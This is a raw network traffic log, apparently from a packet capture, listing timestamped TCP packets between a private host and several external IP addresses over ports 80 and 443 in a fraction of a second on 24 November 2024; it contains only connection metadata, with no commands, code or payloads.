Nov 24, 2024 00:06:52.297111034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.297154903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.297872066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.297951937 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.297954082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.297998905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.298753023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.298799992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.298842907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.298883915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.299760103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.299801111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.299906015 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.299947977 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.300497055 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.300605059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.300630093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.300648928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.301364899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.301409006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.301466942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.301512003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.302272081 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.302365065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.302412987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.303131104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.303174973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.303248882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.303289890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.304035902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.304089069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.304277897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.304330111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.304871082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.304924965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.304984093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.305026054 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.305752993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.305799961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.305871010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.305912971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.306653976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.306761026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.306823015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.307516098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.307574034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.307616949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.307662010 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.308394909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.308442116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.308499098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.308535099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.309288025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.309372902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.309427023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.310194969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.310291052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.310337067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.311033010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.311088085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.311122894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.311167002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.311896086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.311950922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.312031984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.312072039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.312797070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.312844992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.312916040 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.312954903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.313704967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.313716888 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.313769102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.338186979 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.367131948 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.409780025 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.438390017 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.438438892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.438453913 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.438493013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.438900948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.438975096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.439024925 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.439711094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.439779997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.439831018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.439877033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.440613985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.440679073 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.440710068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.440751076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.441488981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.441557884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.441695929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.441844940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.442378998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.442429066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.442608118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.442728996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.443272114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.443419933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.443478107 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.444159031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.444206953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.444215059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.444245100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.445003986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.445050001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.445087910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.445128918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.445868969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.445915937 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.445972919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.446738958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.446785927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.446818113 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.446858883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.447616100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.447701931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.447736025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.447773933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.448472023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.448513985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.448576927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.448617935 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.449357033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.449417114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.449460030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.449704885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.450242996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.450361013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.450396061 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.450428963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.451114893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.451226950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.451273918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.451976061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.452023983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.452091932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.452131987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.452856064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.452899933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.452960968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.453000069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.453736067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.453839064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.453875065 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.453891993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.454644918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.454685926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.454746962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.455044985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.496104002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.496135950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.496201038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.496225119 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.496520996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.496561050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.496685982 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.496725082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.497406006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.497462988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.497512102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.497556925 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.498260021 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.498306990 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.498378992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.498604059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.499125004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.499180079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.499294043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.499341011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.499567032 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.499586105 CET	443	49891	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.499866009 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.499875069 CET	443	49889	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.500040054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.500168085 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.500194073 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.500204086 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.500214100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.500232935 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.500298023 CET	443	49891	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.500911951 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.501013994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.501128912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.501173973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.501344919 CET	443	49889	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.501784086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.501832008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.501857042 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.501878977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.501913071 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.502058983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.502233982 CET	49896	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.502283096 CET	443	49896	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.502348900 CET	49896	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.502542973 CET	49897	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.502573967 CET	443	49897	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.502641916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.502698898 CET	49897	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.502698898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.502779961 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.502855062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.503109932 CET	49898	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.503123045 CET	443	49898	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.503197908 CET	49898	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.503397942 CET	49899	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.503411055 CET	443	49899	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.503545046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.503545046 CET	49899	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.503587008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.503654003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.503712893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.503882885 CET	49900	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.503912926 CET	443	49900	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.503963947 CET	49900	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.504405022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.504456043 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.504508972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.504553080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.505261898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.505305052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.505363941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.505403042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.506164074 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.506217003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.506278038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.506375074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.506958008 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.507023096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.507077932 CET	443	49891	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.507126093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.507134914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.507159948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.507222891 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.507350922 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.507371902 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.507443905 CET	443	49889	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.507808924 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.507901907 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.507905960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.507909060 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.507917881 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.507956028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.508059025 CET	49896	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.508063078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.508083105 CET	443	49896	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.508114100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.508271933 CET	49897	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.508287907 CET	443	49897	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.508476019 CET	49898	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.508488894 CET	443	49898	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.508594990 CET	49899	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.508614063 CET	443	49899	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.508699894 CET	49900	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:52.508712053 CET	443	49900	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:52.508780956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.508822918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.508871078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.508904934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.509545088 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.509557009 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.509649038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.509696007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.509753942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.509794950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.510102034 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.510107040 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.510577917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.510616064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.510696888 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.511153936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.511429071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.511480093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.511519909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.511564016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.512329102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.512391090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.512528896 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.512572050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.513185024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.513314962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.513356924 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.514102936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.514144897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.514203072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.514301062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.514940977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.515074968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.515089989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.515192986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.515805006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.515856981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.515907049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.515940905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.516669035 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.516725063 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.516787052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.516969919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.517570972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.517621040 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.517682076 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.517944098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.518438101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.518497944 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.518549919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.518588066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.519335985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.519393921 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.519469976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.519701958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.520205975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.520318985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.520365000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.521086931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.521146059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.521189928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.521219969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.521949053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.522020102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.522064924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.522119045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.522825956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.522898912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.522939920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.522970915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.523710012 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.523792028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.523814917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.523957014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.524538040 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.524601936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.548665047 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.548666000 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.548683882 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:52.548712015 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.594516993 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:52.648895979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.648942947 CET	80	49818	185.215.113.206	192.168.2.6
